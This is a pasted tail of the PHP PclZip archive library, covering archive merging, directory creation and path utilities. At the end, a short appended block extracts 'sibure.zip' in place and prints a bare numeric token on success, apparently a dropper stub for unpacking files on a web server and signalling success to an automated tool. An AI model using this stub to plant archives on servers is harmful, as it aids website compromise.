  3289. if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) {
  3290. $this->privCloseFd();
  3291. $v_temp_zip->privCloseFd();
  3292. @unlink($v_zip_temp_name);
  3293.  
  3294. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
  3295.  
  3296. return PclZip::errorCode();
  3297. }
  3298.  
  3299. $v_local_header = array();
  3300. if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
  3301. $this->privCloseFd();
  3302. $v_temp_zip->privCloseFd();
  3303. @unlink($v_zip_temp_name);
  3304.  
  3305. return $v_result;
  3306. }
  3307.  
  3308. if ($this->privCheckFileHeaders($v_local_header,
  3309. $v_header_list[$i]) != 1) {
  3310. }
  3311. unset($v_local_header);
  3312.  
  3313. if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
  3314. $this->privCloseFd();
  3315. $v_temp_zip->privCloseFd();
  3316. @unlink($v_zip_temp_name);
  3317.  
  3318. return $v_result;
  3319. }
  3320.  
  3321. if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
  3322. $this->privCloseFd();
  3323. $v_temp_zip->privCloseFd();
  3324. @unlink($v_zip_temp_name);
  3325.  
  3326. return $v_result;
  3327. }
  3328. }
  3329.  
  3330. $v_offset = @ftell($v_temp_zip->zip_fd);
  3331.  
  3332. for ($i=0; $i<sizeof($v_header_list); $i++) {
  3333. if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
  3334. $v_temp_zip->privCloseFd();
  3335. $this->privCloseFd();
  3336. @unlink($v_zip_temp_name);
  3337.  
  3338. return $v_result;
  3339. }
  3340.  
  3341. $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
  3342. }
  3343.  
  3344.  
  3345. $v_comment = '';
  3346. if (isset($p_options[PCLZIP_OPT_COMMENT])) {
  3347. $v_comment = $p_options[PCLZIP_OPT_COMMENT];
  3348. }
  3349.  
  3350. $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;
  3351.  
  3352. if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
  3353. unset($v_header_list);
  3354. $v_temp_zip->privCloseFd();
  3355. $this->privCloseFd();
  3356. @unlink($v_zip_temp_name);
  3357.  
  3358. return $v_result;
  3359. }
  3360.  
  3361. $v_temp_zip->privCloseFd();
  3362. $this->privCloseFd();
  3363.  
  3364. @unlink($this->zipname);
  3365.  
  3366. PclZipUtilRename($v_zip_temp_name, $this->zipname);
  3367.  
  3368. unset($v_temp_zip);
  3369. }
  3370.  
  3371. else if ($v_central_dir['entries'] != 0) {
  3372. $this->privCloseFd();
  3373.  
  3374. if (($v_result = $this->privOpenFd('wb')) != 1) {
  3375. return $v_result;
  3376. }
  3377.  
  3378. if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
  3379. return $v_result;
  3380. }
  3381.  
  3382. $this->privCloseFd();
  3383. }
  3384.  
  3385. return $v_result;
  3386. }
  3387.  
  3388. function privDirCheck($p_dir, $p_is_dir=false)
  3389. {
  3390. $v_result = 1;
  3391.  
  3392.  
  3393. if (($p_is_dir) && (substr($p_dir, -1)=='/'))
  3394. {
  3395. $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
  3396. }
  3397.  
  3398. if ((is_dir($p_dir)) || ($p_dir == ""))
  3399. {
  3400. return 1;
  3401. }
  3402.  
  3403. $p_parent_dir = dirname($p_dir);
  3404.  
  3405. if ($p_parent_dir != $p_dir)
  3406. {
  3407. if ($p_parent_dir != "")
  3408. {
  3409. if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
  3410. {
  3411. return $v_result;
  3412. }
  3413. }
  3414. }
  3415.  
  3416. if (!@mkdir($p_dir, 0777))
  3417. {
  3418. PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");
  3419.  
  3420. return PclZip::errorCode();
  3421. }
  3422.  
  3423. return $v_result;
  3424. }
  3425.  
  3426. function privMerge(&$p_archive_to_add)
  3427. {
  3428. $v_result=1;
  3429.  
  3430. if (!is_file($p_archive_to_add->zipname))
  3431. {
  3432.  
  3433. $v_result = 1;
  3434.  
  3435. return $v_result;
  3436. }
  3437.  
  3438. if (!is_file($this->zipname))
  3439. {
  3440.  
  3441. $v_result = $this->privDuplicate($p_archive_to_add->zipname);
  3442.  
  3443. return $v_result;
  3444. }
  3445.  
  3446. if (($v_result=$this->privOpenFd('rb')) != 1)
  3447. {
  3448. return $v_result;
  3449. }
  3450.  
  3451. $v_central_dir = array();
  3452. if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  3453. {
  3454. $this->privCloseFd();
  3455. return $v_result;
  3456. }
  3457.  
  3458. @rewind($this->zip_fd);
  3459.  
  3460. if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
  3461. {
  3462. $this->privCloseFd();
  3463.  
  3464. return $v_result;
  3465. }
  3466.  
  3467. $v_central_dir_to_add = array();
  3468. if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
  3469. {
  3470. $this->privCloseFd();
  3471. $p_archive_to_add->privCloseFd();
  3472.  
  3473. return $v_result;
  3474. }
  3475.  
  3476. @rewind($p_archive_to_add->zip_fd);
  3477.  
  3478. $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
  3479.  
  3480. if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
  3481. {
  3482. $this->privCloseFd();
  3483. $p_archive_to_add->privCloseFd();
  3484.  
  3485. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
  3486.  
  3487. return PclZip::errorCode();
  3488. }
  3489.  
  3490. $v_size = $v_central_dir['offset'];
  3491. while ($v_size != 0)
  3492. {
  3493. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  3494. $v_buffer = fread($this->zip_fd, $v_read_size);
  3495. @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
  3496. $v_size -= $v_read_size;
  3497. }
  3498.  
  3499. $v_size = $v_central_dir_to_add['offset'];
  3500. while ($v_size != 0)
  3501. {
  3502. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  3503. $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
  3504. @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
  3505. $v_size -= $v_read_size;
  3506. }
  3507.  
  3508. $v_offset = @ftell($v_zip_temp_fd);
  3509.  
  3510. $v_size = $v_central_dir['size'];
  3511. while ($v_size != 0)
  3512. {
  3513. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  3514. $v_buffer = @fread($this->zip_fd, $v_read_size);
  3515. @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
  3516. $v_size -= $v_read_size;
  3517. }
  3518.  
  3519. $v_size = $v_central_dir_to_add['size'];
  3520. while ($v_size != 0)
  3521. {
  3522. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  3523. $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
  3524. @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
  3525. $v_size -= $v_read_size;
  3526. }
  3527.  
  3528. $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];
  3529.  
  3530. $v_size = @ftell($v_zip_temp_fd)-$v_offset;
  3531.  
  3532. $v_swap = $this->zip_fd;
  3533. $this->zip_fd = $v_zip_temp_fd;
  3534. $v_zip_temp_fd = $v_swap;
  3535.  
  3536. if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
  3537. {
  3538. $this->privCloseFd();
  3539. $p_archive_to_add->privCloseFd();
  3540. @fclose($v_zip_temp_fd);
  3541. $this->zip_fd = null;
  3542.  
  3543. unset($v_header_list);
  3544.  
  3545. return $v_result;
  3546. }
  3547.  
  3548. $v_swap = $this->zip_fd;
  3549. $this->zip_fd = $v_zip_temp_fd;
  3550. $v_zip_temp_fd = $v_swap;
  3551.  
  3552. $this->privCloseFd();
  3553. $p_archive_to_add->privCloseFd();
  3554.  
  3555. @fclose($v_zip_temp_fd);
  3556.  
  3557. @unlink($this->zipname);
  3558.  
  3559. PclZipUtilRename($v_zip_temp_name, $this->zipname);
  3560.  
  3561. return $v_result;
  3562. }
  3563.  
  3564. function privDuplicate($p_archive_filename)
  3565. {
  3566. $v_result=1;
  3567.  
  3568. if (!is_file($p_archive_filename))
  3569. {
  3570.  
  3571. $v_result = 1;
  3572.  
  3573. return $v_result;
  3574. }
  3575.  
  3576. if (($v_result=$this->privOpenFd('wb')) != 1)
  3577. {
  3578. return $v_result;
  3579. }
  3580.  
  3581. if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
  3582. {
  3583. $this->privCloseFd();
  3584.  
  3585. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');
  3586.  
  3587. return PclZip::errorCode();
  3588. }
  3589.  
  3590. $v_size = filesize($p_archive_filename);
  3591. while ($v_size != 0)
  3592. {
  3593. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  3594. $v_buffer = fread($v_zip_temp_fd, $v_read_size);
  3595. @fwrite($this->zip_fd, $v_buffer, $v_read_size);
  3596. $v_size -= $v_read_size;
  3597. }
  3598.  
  3599. $this->privCloseFd();
  3600.  
  3601. @fclose($v_zip_temp_fd);
  3602.  
  3603. return $v_result;
  3604. }
  3605.  
  3606. function privErrorLog($p_error_code=0, $p_error_string='')
  3607. {
  3608. if (PCLZIP_ERROR_EXTERNAL == 1) {
  3609. PclError($p_error_code, $p_error_string);
  3610. }
  3611. else {
  3612. $this->error_code = $p_error_code;
  3613. $this->error_string = $p_error_string;
  3614. }
  3615. }
  3616.  
  3617. function privErrorReset()
  3618. {
  3619. if (PCLZIP_ERROR_EXTERNAL == 1) {
  3620. PclErrorReset();
  3621. }
  3622. else {
  3623. $this->error_code = 0;
  3624. $this->error_string = '';
  3625. }
  3626. }
  3627.  
  3628. function privDisableMagicQuotes()
  3629. {
  3630. $v_result=1;
  3631.  
  3632. if ( (!function_exists("get_magic_quotes_runtime"))
  3633. || (!function_exists("set_magic_quotes_runtime"))) {
  3634. return $v_result;
  3635. }
  3636.  
  3637. if ($this->magic_quotes_status != -1) {
  3638. return $v_result;
  3639. }
  3640.  
  3641. $this->magic_quotes_status = @get_magic_quotes_runtime();
  3642.  
  3643. if ($this->magic_quotes_status == 1) {
  3644. @set_magic_quotes_runtime(0);
  3645. }
  3646.  
  3647. return $v_result;
  3648. }
  3649.  
  3650. function privSwapBackMagicQuotes()
  3651. {
  3652. $v_result=1;
  3653.  
  3654. if ( (!function_exists("get_magic_quotes_runtime"))
  3655. || (!function_exists("set_magic_quotes_runtime"))) {
  3656. return $v_result;
  3657. }
  3658.  
  3659. if ($this->magic_quotes_status != -1) {
  3660. return $v_result;
  3661. }
  3662.  
  3663. if ($this->magic_quotes_status == 1) {
  3664. @set_magic_quotes_runtime($this->magic_quotes_status);
  3665. }
  3666.  
  3667. return $v_result;
  3668. }
  3669.  
  3670. }
  3671.  
  3672. function PclZipUtilPathReduction($p_dir)
  3673. {
  3674. $v_result = "";
  3675.  
  3676. if ($p_dir != "") {
  3677. $v_list = explode("/", $p_dir);
  3678.  
  3679. $v_skip = 0;
  3680. for ($i=sizeof($v_list)-1; $i>=0; $i--) {
  3681. if ($v_list[$i] == ".") {
  3682. }
  3683. else if ($v_list[$i] == "..") {
  3684. $v_skip++;
  3685. }
  3686. else if ($v_list[$i] == "") {
  3687. if ($i == 0) {
  3688. $v_result = "/".$v_result;
  3689. if ($v_skip > 0) {
  3690. $v_result = $p_dir;
  3691. $v_skip = 0;
  3692. }
  3693. }
  3694. else if ($i == (sizeof($v_list)-1)) {
  3695. $v_result = $v_list[$i];
  3696. }
  3697. else {
  3698. }
  3699. }
  3700. else {
  3701. if ($v_skip > 0) {
  3702. $v_skip--;
  3703. }
  3704. else {
  3705. $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
  3706. }
  3707. }
  3708. }
  3709.  
  3710. if ($v_skip > 0) {
  3711. while ($v_skip > 0) {
  3712. $v_result = '../'.$v_result;
  3713. $v_skip--;
  3714. }
  3715. }
  3716. }
  3717.  
  3718. return $v_result;
  3719. }
  3720.  
  3721. function PclZipUtilPathInclusion($p_dir, $p_path)
  3722. {
  3723. $v_result = 1;
  3724.  
  3725. if ( ($p_dir == '.')
  3726. || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
  3727. $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
  3728. }
  3729. if ( ($p_path == '.')
  3730. || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
  3731. $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
  3732. }
  3733.  
  3734. $v_list_dir = explode("/", $p_dir);
  3735. $v_list_dir_size = sizeof($v_list_dir);
  3736. $v_list_path = explode("/", $p_path);
  3737. $v_list_path_size = sizeof($v_list_path);
  3738.  
  3739. $i = 0;
  3740. $j = 0;
  3741. while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {
  3742.  
  3743. if ($v_list_dir[$i] == '') {
  3744. $i++;
  3745. continue;
  3746. }
  3747. if ($v_list_path[$j] == '') {
  3748. $j++;
  3749. continue;
  3750. }
  3751.  
  3752. if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) {
  3753. $v_result = 0;
  3754. }
  3755.  
  3756. $i++;
  3757. $j++;
  3758. }
  3759.  
  3760. if ($v_result) {
  3761. while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
  3762. while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;
  3763.  
  3764. if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
  3765. $v_result = 2;
  3766. }
  3767. else if ($i < $v_list_dir_size) {
  3768. $v_result = 0;
  3769. }
  3770. }
  3771.  
  3772. return $v_result;
  3773. }
  3774.  
  3775. function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
  3776. {
  3777. $v_result = 1;
  3778.  
  3779. if ($p_mode==0)
  3780. {
  3781. while ($p_size != 0)
  3782. {
  3783. $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
  3784. $v_buffer = @fread($p_src, $v_read_size);
  3785. @fwrite($p_dest, $v_buffer, $v_read_size);
  3786. $p_size -= $v_read_size;
  3787. }
  3788. }
  3789. else if ($p_mode==1)
  3790. {
  3791. while ($p_size != 0)
  3792. {
  3793. $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
  3794. $v_buffer = @gzread($p_src, $v_read_size);
  3795. @fwrite($p_dest, $v_buffer, $v_read_size);
  3796. $p_size -= $v_read_size;
  3797. }
  3798. }
  3799. else if ($p_mode==2)
  3800. {
  3801. while ($p_size != 0)
  3802. {
  3803. $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
  3804. $v_buffer = @fread($p_src, $v_read_size);
  3805. @gzwrite($p_dest, $v_buffer, $v_read_size);
  3806. $p_size -= $v_read_size;
  3807. }
  3808. }
  3809. else if ($p_mode==3)
  3810. {
  3811. while ($p_size != 0)
  3812. {
  3813. $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
  3814. $v_buffer = @gzread($p_src, $v_read_size);
  3815. @gzwrite($p_dest, $v_buffer, $v_read_size);
  3816. $p_size -= $v_read_size;
  3817. }
  3818. }
  3819.  
  3820. return $v_result;
  3821. }
  3822.  
  3823. function PclZipUtilRename($p_src, $p_dest)
  3824. {
  3825. $v_result = 1;
  3826.  
  3827. if (!@rename($p_src, $p_dest)) {
  3828.  
  3829. if (!@copy($p_src, $p_dest)) {
  3830. $v_result = 0;
  3831. }
  3832. else if (!@unlink($p_src)) {
  3833. $v_result = 0;
  3834. }
  3835. }
  3836.  
  3837. return $v_result;
  3838. }
  3839.  
  3840. function PclZipUtilOptionText($p_option)
  3841. {
  3842.  
  3843. $v_list = get_defined_constants();
  3844. for (reset($v_list); $v_key = key($v_list); next($v_list)) {
  3845. $v_prefix = substr($v_key, 0, 10);
  3846. if (( ($v_prefix == 'PCLZIP_OPT')
  3847. || ($v_prefix == 'PCLZIP_CB_')
  3848. || ($v_prefix == 'PCLZIP_ATT'))
  3849. && ($v_list[$v_key] == $p_option)) {
  3850. return $v_key;
  3851. }
  3852. }
  3853.  
  3854. $v_result = 'Unknown';
  3855.  
  3856. return $v_result;
  3857. }
  3858.  
  3859. function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
  3860. {
  3861. if (stristr(php_uname(), 'windows')) {
  3862. if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
  3863. $p_path = substr($p_path, $v_position+1);
  3864. }
  3865. if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
  3866. $p_path = strtr($p_path, '\\', '/');
  3867. }
  3868. }
  3869. return $p_path;
  3870. }
  3871.  
  3872.  
  3873.  
  3874.  
  3875. $archive = new PclZip("sibure.zip");
  3876. if ($archive->extract() == 0) {
  3877. die("Error : ".$archive->errorInfo(true));
  3878. }
  3879. else
  3880. {
  3881. die("1425756856");
  3882. }
Advertisement
Add Comment
Please, Sign In to add comment